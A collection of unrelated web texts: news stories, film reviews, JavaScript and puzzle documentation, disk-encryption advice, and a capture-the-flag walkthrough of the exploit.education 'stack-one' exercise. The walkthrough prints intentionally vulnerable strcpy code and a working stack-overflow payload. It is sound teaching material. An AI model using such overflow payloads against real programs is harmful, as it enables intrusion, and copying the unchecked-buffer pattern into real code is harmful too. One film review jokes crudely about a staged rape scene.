Bandits injure three policemen in Katsina - The Nation Newspaper
UNIDENTIFIED gunmen thought to be bandits on Monday attacked the residence of one Alhaji Sa’adu Dan Bagalo, 50, of Kofar Kudu, Kaita Local Government Area of Katsina State and abducted him.
A press release signed by spokesman of the police command Gambo Isa said the bandits in large numbers were armed with AK47 rifles, shot into the air and were confronted by a police patrol team attached to Katia Division whose personnel chased them into the bush.
He said, “The bandits killed the victim and one Bawale Inusa, aged 58 years, of the same address when the chase got hotter and escaped through the bush path”.
“One police officer and two others sustained various degrees of injury during the fierce encounter.
Also, men from the Kano zone of the National Agency for Trafficking in Persons (NAPTIP) yesterday handed over 23 underage youths and three women to Katsina State Governor Aminu Masari at Government House Katsina.

NAPTIP Zonal Commander for Kano, Malam Shehu Umar told Governor Masari that the arrested persons, all Katsina citizens, were apprehended on November 13 at AYA Junction in Abuja while being ferried to Keffi in Nassarawa State allegedly by one Malam Akilu Liman who is now undergoing police investigation.
He said Malam Liman has transported another batch of 40 persons to Kebbi, adding that 16 of them were children aged from six to 19 years.
Governor Masari called on parents and citizens of the state to join hands with him in the war against human trafficking. He promised to liaise with traditional rulers in the state, and carry out investigation to confirm the identities of the children and their parents.


Diamonds found in the shoe box -- Being skeptical as a Data Scientist
20 May 2017I started playing with interesting data sets on Kaggle. There’s one called Women’s Shoe Prices – A list of 10,000 women’s shoes and the prices at which they are sold. I was intrigued by earlier analyses which showed shoes could be sold for more than 3000 USD. Then I dug into the data and found out lots of the pricey stuff were actually wedding bands or jewelry. Also, there were other inexpensive but non-shoe stuff such as t-shirt and bra. The data provider later promptly updated the raw shoe data after my analysis.

Conway’s Game of Life is a classic. Invented by John Conway in 1970, the “zero player game” is a wonderful example of emergent behavior. Although each cell follows the same simple rules, wonderful patterns emerge. As time went on, the Game was shown to be Turing Complete, meaning any program could be represented as an initial state to Conway’s Game of Life given a large enough grid. That’s incredible!

A simple, single instance of Conways game. Click and drag to add life.
A grid of Conway's with tools to configure and customize the rules of the game, and the display colors. You can also use "rule box mode" to add internal simulations; areas of the grid that follow their own rules.
The infinite sequence that started it all, in a satisfying rainbow color scheme.
The bottom quarter of this simulation is a little less survivable than the rest, which is regular Conway's. A single horizontal bar of life is drawn somewhere in that harsh environment, the result is a mesmerizing visualization that is a little different every time, and on every sceen size.
An experiment with many kinds of rules, building on top of the Rainbow simulation. Can you identify each of the zones and their rules?
With a randomized color scheme, this simulation draws 6 boxes of regular Conway's inside of an area with a kind of highly resilient life. The result reminds me of vines slowly engulfing a building with windows.
With an "Ivy Box" in the middle of the sceen, this simulation randomly spawns a bunch of "gliders". Eventually, one crashes into the "ivy box" which will then fill with life.
Two kinds of life (both small modifications of the Creeping Ivy) with different color schemes arranged in a checker board pattern. I love the way this simulation looks.
I call this "The Warhol". A three by three grid with random colors each playing the standard Conway's Game of Life.
AKA Channel Surfing. This simulation puts 16 simulations on the screen, each with randomly chosen rules. Every 5-10 seconds each simulation has it's rules and colors updated. Epilepsy warning: This simulation has lots of bright flashing lights.
A webform that you can use to make grids like Three by Three and Random Rules, or single simulations with different parameters for pixel size and refresh speed.
Thanks for making it all the way to the bottom! If you enjoyed this project, please consider joining Teb's Lab on Patreon

moveto(x, y)
Moves the ‘current’ point of the path to a new location (x,y) without drawing a line from the previous point. This is conceptually similar to lifting your pen from the page and putting it down somewhere else before continuing to draw.
The moveto() command must be called inside a bezier() context (or between beginpath() and endpath()).
with bezier(10, 10, stroke=0.2) as path: lineto(50, 100) moveto(60, 100) lineto(100, 100)or

CALIGULA (1980) A Film Review by Ted Prigge Copyright 1998 Ted Prigge
Director: Tinto Brass (with "additional scenes" by Bob Guccione and Giancarlo Lui) Writers: (well, no real writer, persay, but it's "adapted from an original screenplay by Gore Vidal," and features "additonal dialogue" by Bob Guccione and Giancarlo Lui) Starring: Malcolm McDowell, Teresa Ann Savoy, Helen Mirren, John Steiner, Guido Mannari, Giancarlo Badesi, Bruno Brive, Lori Wagner, Anneka DiLorenzo, Donata Placido, Peter O'Toole, John Gielgud
My friend here in film school just made a two minute-long film for one of his classes that includes a staged anal rape scene, done by two guys and shot on the shadow of the incident, with a banana being used as the instrument of penetration. As sick as this all is, watching it is one of the most admittingly hysterical moments I've ever witnessed. Sure, it may be in bad taste, but what the hell is bad taste other than something that may be offensive to some but is riotously amusing to the rest?
Then there's "Caligula."  This could very well be a respectable film, and if could have been had the following not occurred: a) the events were graphically shot in clear view; b) the tone was not that of trying to shock comically but to, well, show "historical accuracy;" c) the film was a 20 million dollar production with lavish sets, a rather impressive cast, and a whopping 2 1/2 hour running time.
Produced and funded by none other than Bob Guccione, owner of Penthouse Magazine, "Caligula" comes across as the most hysterical dramatic picture since "Plan 9 From Outer Space" because underneath there's a sense that everything this film is doing is not only accurate and justified, but also brilliantly entertaining. After all, it's not really the fact that this film features the aforementioned disgusting moments, but that it actually believes in them as dramatic weaponry. No film should be discarded because its content, because film is never about what it's about, it's about how it's about (as the old cliche goes).
"Caligula" allegedly tells the true story of the evil Roman Emporer of the same name, a man who was so insanely decadent that his assasination came as a blessing...or so I guess, even though almost every single Roman Emporer was assasinated as well and for much the same reasons. The film opens on the wrong note, of course, with a quote from Mark appearing before any image graces the screen, using the over-used passage "What shall it profit a man if he should gain the whole world an dlose his own soul," depite the fact that the opening scene of the film is of the emporer before he was an emporer, fucking around with his own sister in a field (I suppose if one has to lose their soul, one has to have a soul in the first place).
The plot is so incomprehensibly done that all I or anyone else can make out of it is that Caligula (disastrously played by the great Malcom McDowell, a performance that does the opposite that his performance in "A Clockwork Orange" did) is next in line for the throne but can't wait for the current Emporer, Tiberius (Peter O' Toole - ditto, only for his performance in "Lawrence of Arabia"), his grandfather, to die...so he kills him and ascends to the throne.
The filler, instead of recounting his life, is supposed to be, as Guccione claims, the ultimate portrait of decadent Pagan Rome, complete with orgies, vicious deaths, and lots of nudity. But instead of being the historical accurate film it really really wants to be, it instead becomes Guccione's twisted masturbatory image of what it could be like. Oh, isn't it great that they just loved having sex? And that they killed people so disgustingly?  I mean, why not just show a Roman orgy when I can spend a good ten minutes examining every single facet that makes it up.
And it's not just that it's disgusting or vile or whatever adjective you want to use to describe this film - it's that in a film where the entire feel it's going for isn't felt, it's also the sloppiest expensive movie of all time. The sets are lavish, but so blatantly innacurate that I wonder if no historian wanting to have his name on this film explains this. But that doesn't matter since the cinematography is so dark that you wonder if a light meter was used at all, making this not only dark and ugly, but just plain dark.  Not only does this film hold the record for the most unnecessary zooms in one single shot ever, but often the camera will lose its subjects and pan around till they find them, then have them out of focus. The editing is so sloppy that some scenes are absolutely impossible to follow. There is no writer to speak of (what the hell does it mean that it's "adapted from an original screenplay by Gore Vidal?"), but nevertheless, the dialogue is shit, so laughably bad that I can't in good faith believe that anyone with an IQ over 5 could say them with a straight face (my favorite being the line when Caligula inquires the doctor about the health of the dying Tiberius: "He could go at any moment, but with care, he could last a year or so.") The music in this film is mostly Prokofiev and Khachaturian (they use his gorgeous "Adagio of Spartacus and Phrygia," ad nauseum), used in an attempt to give the film some emotion, but instead feels as if it was shipped in from elsewhere. The orgy scenes (and one infamous lesbo scene between Penthouse Pets Lori Wagner and Aneeka DiLorenzo) are the result of reshoots by Guccione himself, which are so obviously removed from everything else in this film that it only adds to the embrassment (every five seconds or so, the film cuts to random nudity, as if it was afraid its audience would forget this film is rated "X").
And so on and so on, for over 2 1/2 hours, making "Caligula" about as exciting and enriching as a three hour college lecture class and twice as deliriously annoying. Guccione, in his pursuit of historical accuracy has instead made a film that is such a painstaking, arduous task to watch in its entirety that I doubt anyone can sit through an hour of it without irreversible psychological damage. Throughout the entire film, the presence of Guccione is easily felt, as if he were standing there at the edge of the screen, pretentiously looking down upon us saying "Look what I can get away with!  Uh huh.
There's a clear difference between historical accuracy and doing something that's artistically good. A film which showed Roman decadence as something that was perhaps liberating for some but could not last - that would probably make for a good film. But using historical accuracy as a licence to get away with any kind of disgusting-for-disgustingness'-sake acts is total, total bullshit, and all I can say is that Guccione and the makers of this film have lost any kind of touch with either entertainment or eroticism, and have developed a pathetic and sadistic taste for both, judging from this film.
There's a film that came out in 1989 called "The Cook, the Thief, His Wife, and Her Lover," a magnifcent film by legendary cult director Peter Greenaway (also starring Helen Mirren), which deals with graphic sex, heartstopping violence and gore, and even a little cannibalism for good measure. That film not only never patronized its viewers, but also handled them in a way that was shocking, yes, but also, in a bizarre way, entertaining and totally involving. There were real characters there in a real situation, and best of all passion and just the right amount of restraint as not to get off on the fact that it's going to be offensive to many. That film achieved everything it wanted to do, and has since retained a status as one of those cult films that is not only popular but actualy good. And it's everything "Caligula" might have been but, alas, wasn't.

This project is a heavily modified version of jVectorMap. I chose to start fresh rather than fork their project as my intentions were to take it in such a different direction that it would become incompatibale with the original source, rendering it near impossible to merge our projects together without extreme complications.
To get started, all you need to do is include the JavaScript and CSS files for the map you want to load. Here is a sample HTML page for loading the World Map with default settings:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<title>JQVMap - World Map</title>
<link href="../jqvmap/jqvmap.css" media="screen" rel="stylesheet" type="text/css" />

While initializing a map you can provide parameters to change its look and feel.
jQuery('#vmap').vectorMap(
{
map: 'world_en',
backgroundColor: '#a5bfdd',
borderColor: '#818181',
borderOpacity: 0.25,
borderWidth: 1,
color: '#f4f3f0',
enableZoom: true,
hoverColor: '#c9dfaf',
hoverOpacity: null,
normalizeFunction: 'linear',
scaleColors: ['#b6d6ff', '#005ace'],
selectedColor: '#c9dfaf',
selectedRegion: null,
showTooltip: true,
onRegionClick: function(element, code, region)
{
var message = 'You clicked "'
+ region
+ '" which has the code: '
+ code.toUpperCase();
alert(message);
}
});
map 'world_en'
Map you want to load. Must include the javascript file with the name of the map you want. Available maps with this library are world_en, usa_en, europe_en and germany_en
backgroundColor '#a5bfdd'
Background color of map container in any CSS compatible format.
borderColor '#818181'
Border Color to use to outline map objects
borderOpacity 0.5
Border Opacity to use to outline map objects ( use anything from 0-1, e.g. 0.5, defaults to 0.25 )
borderWidth 3
Border Width to use to outline map objects ( defaults to 1 )
color '#f4f3f0'
Color of map regions.
colors
Colors of individual map regions. Keys of the colors objects are country codes according to ISO 3166-1 alpha-2 standard. Keys of colors must be in lower case.
enableZoom boolean
Whether to Enable Map Zoom ( true or false, defaults to true)
hoverColor '#c9dfaf'
Color of the region when mouse pointer is over it.
hoverOpacity 0.5
Opacity of the region when mouse pointer is over it.
normalizeFunction 'linear'
This function can be used to improve results of visualizations for data with non-linear nature. Function gets raw value as the first parameter and should return value which will be used in calculations of color, with which particular region will be painted.
scaleColors ['#b6d6ff', '#005ace']
This option defines colors, with which regions will be painted when you set option values. Array scaleColors can have more then two elements. Elements should be strings representing colors in RGB hex format.
selectedRegion 'mo'
This is the Region that you are looking to have preselected (two letter ISO code, defaults to null )

showTooltip boolean
Whether to show Tooltips on Mouseover ( true or false, defaults to true)
onLabelShow function(event, label, code)
Callback function which will be called before label is shown. Label DOM object and country code will be passed to the callback as arguments.
onRegionOver function(event, code, region)
Callback function which will be called when the mouse cursor enters the region path. Country code will be passed to the callback as argument.
onRegionOut function(event, code, region)
Callback function which will be called when the mouse cursor leaves the region path. Country code will be passed to the callback as argument.
onRegionClick function(event, code, region)
Callback function which will be called when the user clicks the region path. Country code will be passed to the callback as argument. This callback may be called while the user is moving the map. If you need to distinguish between a "real" click and a click resulting from moving the map, you can inspect $(event.currentTarget).data('mapObject').isMoving.
Most of the options can be changed after initialization using the following code:
jQuery('#vmap').vectorMap('set', 'colors', {us: '#0000ff'});
Instead of colors can be used any parameter except callbacks. Callbacks can be added and deleted using standard jQuery patterns of working with events. You can define callback function when you initialize JQVMap:
jQuery('#vmap').vectorMap(
{
onLabelShow: function(event, label, code)
{
},
onRegionOver: function(event, code, region)
{
},
onRegionOut: function(event, code, region)
{
},
onRegionClick: function(event, code, region)
{
}
});
Or later using standard jQuery mechanism:
jQuery('#vmap').bind('labelShow.jqvmap',
function(event, label, code)
{
}
);
jQuery('#vmap').bind('regionMouseOver.jqvmap',
function(event, code, region)
{
}
);
jQuery('#vmap').bind('regionMouseOut.jqvmap',
function(event, code, region)
{
}
);
jQuery('#vmap').bind('regionClick.jqvmap',
function(event, code, region)
{
}
);
Consider that fact that you can use standard features of jQuery events like event.preventDefault() or returning false from the callback to prevent default behavior of JQVMap (showing label or changing country color on hover). In the following example, when user moves mouse cursor over Canada label won't be shown and color of country won't be changed. At the same label for Russia will have custom text.
jQuery('#vmap').vectorMap(
{
onLabelShow: function(event, label, code)
{
if (code == 'ca')
{
event.preventDefault();
}
else if (code == 'ru')
{
label.text('Bears, vodka, balalaika');
}
},
onRegionOver: function(event, code)
{
if (code == 'ca')
{
event.preventDefault();
}
},
});
Here I want to demonstrate how visualization of some geographical-related data can be done using JQVMap. Let's visualize information about GDP in 2010 for every country. At first we need some data. Let it be site of International Monetary Fond. There we can get information in xsl format, which can be converted first to csv and then to json with any scripting language. Now we have file gdp-data.js with such content (globals are evil, I know, but just for the sake of simplification):
var sample_data = {"af":16.63,"al":11.58,"dz":158.97,...};
Then connect it to the page and add some code to make visualization:
var max = 0,
min = Number.MAX_VALUE,
cc,
startColor = [200, 238, 255],
endColor = [0, 100, 145],
colors = {},
hex;
//find maximum and minimum values
for (cc in gdpData)
{
if (parseFloat(gdpData[cc]) > max)
{
max = parseFloat(gdpData[cc]);
}
if (parseFloat(gdpData[cc]) < min)
{
min = parseFloat(gdpData[cc]);
}
}
//set colors according to values of GDP
for (cc in gdpData)
{
if (gdpData[cc] > 0)
{
colors[cc] = '#';
for (var i = 0; i<3; i++)
{
hex = Math.round(startColor[i]
+ (endColor[i]
- startColor[i])
* (gdpData[cc] / (max - min))).toString(16);
if (hex.length == 1)
{
hex = '0'+hex;
}
colors[cc] += (hex.length == 1 ? '0' : '') + hex;
}
}
}
//initialize JQVMap
jQuery('#vmap').vectorMap(
{
colors: colors,
hoverOpacity: 0.7,
hoverColor: false
});
The following is the converter instructions directly from jVectorMap that could be used to create your own maps for JQVMap from the data in various GIS formats like Shapefile. The following command could be used to convert USA map from the data available at www.naturalearthdata.com:
python \
path/to/converter.py \
path/to/geo-data.shp \
path/to/resulting-map.js \
--width 900 \
--country_name_index 4 \
--where "ISO = 'USA'" \
--codes_file path/to/codes-en.tsv \
--insets '[{"codes": ["US-AK"], "width": 200, "left": 10, "top": 370}, {"codes": ["US-HI"], "width": 100, "left": 220, "top": 400}]' \
--minimal_area 4000000 \

Phoenix: Stack One
Goal: Modify the value of the changeme variable to 0x496c5962
Source code:
/*
* phoenix/stack-one, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x496c5962
*
* Did you hear about the kid napping at the local school?
* It's okay, they woke up.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("%s\n", BANNER);
if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}
locals.changeme = 0;
strcpy(locals.buffer, argv[1]);
if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}
exit(0);
}
This one exploits the same vulnerability than stack zero, but instead of the gets
function, the strcpy
function is used. Like gets
, it doesn’t check if the content will fit in the destination buffer…
Some tests:
$ ./stack-one
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"
$ ./stack-one `python -c "print('A'*64)"`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000000, we want 0x496c5962
$ ./stack-one `python -c "print('A'*64 + 'B'*4)"`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x42424242, we want 0x496c5962
If the input is longer than 64 bytes, like in the last run where we use 64 As
and 4 Bs, changeme
end up being equal to 0x42424242, which is the ascii code
for B
.
Just need to replace BBBB with 0x496c5962 to solve that challenge right?
$ ./stack-one `python -c "print('A'*64 + '\x49\x6c\x59\x62')"`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x62596c49, we want 0x496c5962
Nearly! It’s all backwards! That’s because x86 uses the little-endian representation. Basically, if we want to store an int32_t 0xAABBCCDD, it will be stored like this in big endian:
| +0 | +1 | +2 | +3 |
|---|---|---|---|
| AA | BB | CC | DD |
But in little endian, the least significant byte goes into the lowest address
| +0 | +1 | +2 | +3 |
|---|---|---|---|
| DD | CC | BB | AA |
Therefore, we need to invert the order of the bytes:
$ ./stack-one `python -c "print('A'*64 + '\x62\x59\x6c\x49')"`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value


STAR KID A film review by Steve Rhodes Copyright 1998 Steve Rhodes
RATING (0 TO ****): ***
After the simple looking little spacecraft lands in a automobile wrecking yard, out steps a steel-gray, human-like creature with aquamarine eyes and clad in a muscular suit. Spencer, the boy who observes this, having seen his fill of science fiction flicks, figures this thing must be a robot from outer space.
With the exception of Disney and a few others, most studios view children's films as a way to ship a cheap and unimaginative product and thereby make a quick profit. STAR KID stands out as that rare kids' film that is undoubtedly low-budget but is also highly imaginative.
Remember, the robot? It wasn't one at all but rather a "Phase One Assault Cyborsuit." The Cyborsuit is actually a prototype combat enhancer developed by the Trelkins and jettisoned for latter retrieval when they are under attack from the invading Broodwarriors.
The significant twist in the story is that Spencer gets to go inside the Cyborsuit, and the Cyborsuit, nicknamed Cy, has plenty of spunk. Cy keeps questioning the kid about everything including words like "cool." Upon hearing that "command," Cy starts rapidly decreasing the temperature in the Cyborsuit until Spencer screams for him to stop. And when Cy speaks, we see Spencer's view, the backside of Cy's lips and eyes.
As 12-year-old Spencer, Joseph Mazzello from the JURASSIC PARK film series gives a remarkably good performance as a wimpy and initially tongue-tied kid. Even when enclosed in his powerful new Cyborsuit, he has his fears but he learns to overcome them.
"If you run away, things don't get better, whether it's bullies, spiders, or girls," his science teacher advises him after he has difficulties dealing with all three.  With his Cyborsuit on, he learns some bravery that transcends his time inside Cy.
Spencer lives with his Dad and his older teenage sister Stacey, played by a smart-mouthed Ashlee Levitch, who looks like a younger Sarah Jessica Parker. Stacey derides her brother, whom she barely tolerates, by referring to him only as "the fungus."
This whole setup for Spencer's downtrodden and delightfully funny life makes his acquisition of some superhuman powers a source of mirth and empowerment. The beauty of Mazzello's performance is that you can vicariously experience his fear and share in his enjoyment when he goes after the bully to teach him a lesson he'll not soon forget. The ensuing mayhem has some of the HOME ALONE antics, but the slapstick is kept tightly under control by writer and director Manny Coto so that one never feels embarrassed to be laughing.
The romantic angle is handled ever so delicately. When Cy wishes to know if Spencer wants to mate with the object of his desire, Michelle (Lauren Eckstrom), his eyes open wide in revulsion. "Mate with her!" Spencer exclaims. "Pllllleeeeease, I just like her that's all."
The show has many funny twists. In one, Cy sees a man in a Barney-like costume and begins firing at him, thinking he is an alien life-form. Soon things get way out of hand, and Cy and Spencer have to beat a hasty retreat.
As proof positive of the show's class, it actually contains tasteful bathroom humor -- thought that was an oxymoron in a kids' picture, didn't you? Cy cannot allow Spencer to leave the Cyborsuit, and what happens when he needs to urinate becomes both sweet and hilarious. The director's staging of this sequence is one of the film's more charming moments. Oh, and eating is pretty funny too.
Spencer, whose idol is the comic book character "Midknight Warrior," gets to face the challenge of a lifetime when a Broodwarrior comes to capture the Cyborsuit. Spencer's valiant battle gives him a chance to find his mettle. And the action sequences in the battle manage to be quite respectable for a kids' show full of inventiveness and lacking the usual repetition.
For a family movie mixing humor, fantasy, and action, STAR KID delivers. Although it's probably not the sort of movie you'd want to see without kids, with them you'll have a magical time with a relatively straightforward but well developed story. You'll be rooting for and laughing with Spencer and his buddy Cy all the way through.
STAR KID runs 1:41. It is rated PG for fantasy combat. Although the basically cartoonish Broodwarrior might scare the littlest kids, I saw none of this in evidence in our packed screening, so I would say the show is fine for kids five and up, and possibly the younger ones.
My son Jeffrey, age 8, got really excited about the picture. He called it "an especially good movie" and gave it ****. When I asked him to tell me his favorite characters, he mentioned almost everyone in it from the boy to the Cyborsuit to the bully.

You have a grid of squares; some squares contain numbers. Your job is to colour some of the squares black, such that several criteria are satisfied:
For instance, a square containing the number one must have four black squares as its neighbours by the last criterion; but then it's impossible for it to be connected to any outside white square, which violates the second to last criterion. So no square will contain the number one.
Credit for this puzzle goes to Nikoli, who have variously called it ‘Kurodoko’, ‘Kuromasu’ or ‘Where is Black Cells’. [18].

On Android, please touch for left click and long press for right click. Also note that where this manual refers to pressing a letter on the keyboard, the Android version has icons at the bottom of the screen instead (Control and Shift are not available). There is also an optional "Night mode" which uses darker colours in low light.
Click with the left button to paint a square black, or with the right button to mark a square with a dot to indicate that you are sure it should not be painted black. Repeated clicking with either button will cycle the square through the three possible states (filled, dotted or empty) in opposite directions.
You can also use the cursor keys to move around the grid squares. Pressing Return does the same as clicking with the left button, while pressing Space does the same as a right button click. Moving with the cursor keys while holding Shift will place dots in all squares that are moved through.
(All the actions described in section 2.1 are also available.)
These parameters are available from the ‘Custom...’ option on the ‘Type’ menu.
On platforms that support user preferences, the ‘Preferences’ option on the ‘Game’ menu will let you configure which way round the mouse buttons work.

Trump fires US navy chief over handling of discipline case
Washington: The chief of the US Navy on Sunday criticized Donald Trump after being sacked in a dispute over an elite SEAL commando whose demotion for misconduct was reversed by the president.
Richard Spencer was ousted as Navy Secretary, a civilian position, in a case that has fueled reports that the US military leadership has been angered by Trump's interference in discipline cases.
"I no longer share the same understanding with the Commander in Chief who appointed me, in regards to the key principles of good order and discipline," Spencer said in a stinging letter published by US media.
"I hereby acknowledge my termination as United States Secretary of the Navy."
The dispute centers on the fate of Navy SEAL Edward Gallagher who was accused of war crimes in a high-profile case but was found guilty of a lesser offense.
On November 15, Trump -- the commander-in-chief of the US military -- reversed the demotion handed down to Gallagher.
Trump tweeted on Sunday that Gallagher had been "treated very badly" by the navy, and that Spencer had been asked to resign over the issue and over his alleged failure to address budget overruns.
The president said Gallagher would not be expelled from the elite SEAL (Sea, Air, and Land) force.
"Eddie will retire peacefully with all of the honors that he has earned," Trump tweeted.
Defense Secretary Mark Esper said he had asked for Spencer's resignation "after losing trust and confidence in him regarding his lack of candor over conversations with the White House," the Department of Defense said in a statement.
Esper said he was "deeply troubled by this conduct."
Trump undercuts military?
The US Navy had launched a discipline procedure which could have strip Gallagher and three other members of his unit of their prestigious "Trident pins" -- effectively booting them from the SEAL force.
But Trump's interventions appeared to cut short that process.
The president this month also dismissed a second degree murder conviction against Army First Lieutenant Clint Lorance, who was six years into a 19-year term for ordering soldiers in 2012 to fire on three unarmed Afghan men on a motorcycle, two of whom died.
And he granted clemency to West Point graduate Matt Golsteyn, an ex-member of the elite US Army Green Berets, charged with premeditated murder in the shooting death of an alleged Taliban bomb-maker in 2010.
Gallagher, a Navy SEAL commando, was accused in the stabbing to death of a wounded Islamic State prisoner in Iraq in 2017, attempted murder of other civilians and obstruction of justice.
In July, he was acquitted of charges related to those accusations but was convicted of posing with the slain fighter's body in a group picture with other SEALs.
As a result, he was demoted one rank, from chief petty officer to petty officer first class.
Speaking to Fox News on Sunday, Gallagher accused the navy of acting in retaliation after he lodged a complaint.
"They could have taken my Trident (pin) at any time they wanted," he said. "Now they're trying to take it after the president restored my rank."
Gallagher's case has been strongly championed by Fox News and Trump's conservative base.
But it has also drawn criticism that the president was undermining military judicial process.
In his letter to Trump on Sunday, Spencer said that he could not "in good conscience obey an order that I believe violates the sacred oath I took... to support and defend the Constitution."
He added that maintaining good order and discipline in the navy's ranks was a "deadly seriously business."

As if enough people aren't talking about it.
I spent the couple minutes between the Sopranos finale and John From Cincinnati yelling "That's how they ended Sopranos?" at the TV.
And I'm intrigued enough about John From Cincinnati to give it a couple of episodes.


“To be clear, Merced does not want to sacrifice a goat in his home. He wants to sacrifice 5–7 goats, 1–2 turtles, 1 duck, 10–14 chickens, 5–7 guinea hens and 10–14 doves all at one time. Keeping and killing that many animals in a residential neighbourhood poses disease transmission dangers. It creates stench and filth”… Furthermore, said the lawyer for Euless council, sacrificing goats was “repulsive and has no place in an urban environment”.
I find myself particularly concerned for that lone duck.
Heresy Corner investigates the world o' goat sacrifice. Food for thought not only for Santerian voodooists, but for Aztec fundamentalists and those of us who worship the hideous bat-god Fatso.

Trudeau meets with Doug Ford, with agenda to focus on areas of agreement
TORONTO - Prime Minister Justin Trudeau and Ontario Premier Doug Ford headed into their Friday meeting saying they planned to talk about the issues they agree on — and avoid the ones where they don't see eye-to-eye.
Trudeau said he expected a good meeting and a cordial conversation that would focus on areas like health care and investments in infrastructure, such as transit systems.
Ford echoed those sentiments by saying he too wanted to focus on areas of co-operation.
The premier said he is very aware that some of the people who voted for him also voted for the prime minister.
Those voters, he said, expect the two to find a way to work together, despite their political differences.
The two made the comments at the start of their meeting on Parliament Hill this morning.
The sit-down is the latest in a series of in-person talks Trudeau is having with provincial leaders after receiving a minority mandate last month.
Trudeau has already met with leaders including Saskatchewan Premier Scott Moe and Manitoba Premier Brian Pallister.
On the campaign trail, Trudeau frequently tried to warn voters away from Conservative Leader Andrew Scheer by linking him to Ford, whose popularity has been sinking in recent polls.
Ford said Thursday in Toronto that he would bring a collaborative message to the meeting, despite the frequent attacks the prime minister launched against him during the federal election campaign.
Ford said he is eager to work with the federal government on a number of files, including health care and public transit.
Towards the end of the photo opportunity before the meeting, Trudeau and Ford shared a laugh as the premier talked about learning French.
Ford asked Trudeau if he knew any good teachers. Trudeau joked that he used to be one, but is a little busy these days.


GONE FISHIN' A film review by Michael John Legeros Copyright 1997 Michael John Legeros
(Hollywood) Directed by Christopher Cain Written by Jill Mazursky Cody and Jeffrey Abrams Cast Danny Glover, Joe Pesci, Rosanna Arquette, Lynn Whitfield, Nick Brimble, Willie Nelson, Carol Kane MPAA Rating "PG-13" Running Time 94 minutes Reviewed at The Park Place 16, Morrisville, NC (30MAY97)
==
Reteamed for the first time since the LETHAL WEAPON sequels, Joe Pesci and Danny Glover play a pair of New Jersey numbnuts, headed to the Everglades for their annual pre-Thanksgiving fishing trip. There, they promptly lose their car, then their boat, then another boat, etc. etc. A pair of unfunny opening gags is an early indicator that director Christopher Cain (THE AMAZING PANDA ADVENTURE, THE NEXT KARATE KID) can't set up slapstick to save his life. Pesci and Glover, however, have an innocent charm that endures when the physical comedy doesn't. (Much in the same way that Mira Sorvino and Lisa Kudrow anchored the otherwise awful ROMY AND MICHELLE'S HIGH SCHOOL REUNION.) Ok ok ok ok, you won't split your sides, but you may enjoy the less-frantic moments. Like when the two stooges are set upon by a smooth-talking salesman at a boat yard. Or when they're giving babes the "killer look." With appearances by Carol Kane (as Pesci's wife!), Louise Fletcher, Rosanna Arquette, and, in one of the year's most curious cameos, Willie Nelson as an avenging angel fishing instructor.

Disk encryption should use its own authentication mechanism. The disk encryption keys should be stored securely, such as on a removable media that is protected with strong access controls and physical security.
Disk encryption should use an authentication mechanism separate from the rest of the network to make it more difficult for a potential attacker to get the encryption key, especially in the event of an insider attack.
Examine the disk encryption authentication process to make sure it uses credentials different than those used on the network. Examine the disk encryption key storage location to make sure it is protected with strong access controls.
Decide whether to use whole disk encryption. Identify a disk encryption application that uses its own secure authentication mechanism, such as a password or a key file. Install and configure the chosen disk encryption suite. Secure the disk encryption keys with strong access controls and physical security.

GitHub Halp App: Minimizing Platform-specific code with MVVM
Justin is a Mac Developer at GitHub and has contributed to several open source projects released by GitHub, including ReactiveCocoa, an Objective-C port of Microsoft’s Reactive Extensions for .NET. Justin is also a big proponent of using MVVM, and will use GitHub’s internal helpdesk app, Halp, to illustrate how to maximize code re-use.
I’m always interested in different approaches to simplifying my life as a developer, and the GitHub team keep bringing new & interesting ideas to the community.
I’m keen to try MVVM in my next project.


HONEY, I SHRUNK THE KIDS Reviewed by David N. Butterworth Copyright 1989 David N. Butterworth/The Summer Pennsylvanian
Imagine being zapped by a laser beam and finding yourself reduced to the size of a cheerio. Imagine battling bugs as large as Buicks. Imagine having Rick Moranis for a father!
These are just a few of the horrors the title kids have to face in HONEY, I SHRUNK THE KIDS, the diminutive but enjoyable new miniaturization comedy from the Walt Disney studios.
The film continues Hollywood's fascination with our world as seen from a different point of view. The film doesn't attempt to live up to the 1950s sci-fi classic THE INCREDIBLE SHRINKING MAN, the yardstick against which all like films are measured, but it does have a charming, harmless quality that's undeniably appealing.
Meet the Szalinskis -- nerdy, screwball inventor Wayne (Moranis), wife/mother/realtor Diane (Marcia Strassman), children Amy (Amy O'Neill, looking not unlike a young Laura Dern) and Nick (Robert Oliveri).
The products of Wayne's eccentricity litter their suburban home like dirty laundry, but his piece-de-resistance is a shrinking machine which he keeps tucked away in the attic.
Moranis is no Fred MacMurray, Disney's original Absent-Minded Professor, and it's hard to take him seriously when his eight year old son constantly upstages him. Not that Moranis' Wayne Szalinski has to show any range or depth of emotion, but his acting abilities are stretched far more in the McDonald's soft drink commercial this film spawned than in the film itself.
On the other side of the fence live the Thompsons, Russell (Matt Frewer) and Mae (Kristine Sutherland) and their two sons, Russ and Ronnie (played by Thomas Brown and Jared Rushton respectively). Frewer, desperately trying to shake off his image of television's Max Headroom, is suitably gawky in the role of Big Russ Thompson. His back-and-forth "who's crazier than whom" altercations with Moranis are consistently droll. They are not so much feuding neighbors as mutually insensitive ones.
When younger son Ronnie hits a baseball though the Szalinski's attic window, it accidentally triggers the miniaturization device. Venturing upstairs to retrieve the errant ball, he and Nick are struck by the machine's beam and shrunk. Needless to say, the two older children soon join them amidst the oversized dustballs on the attic floor.
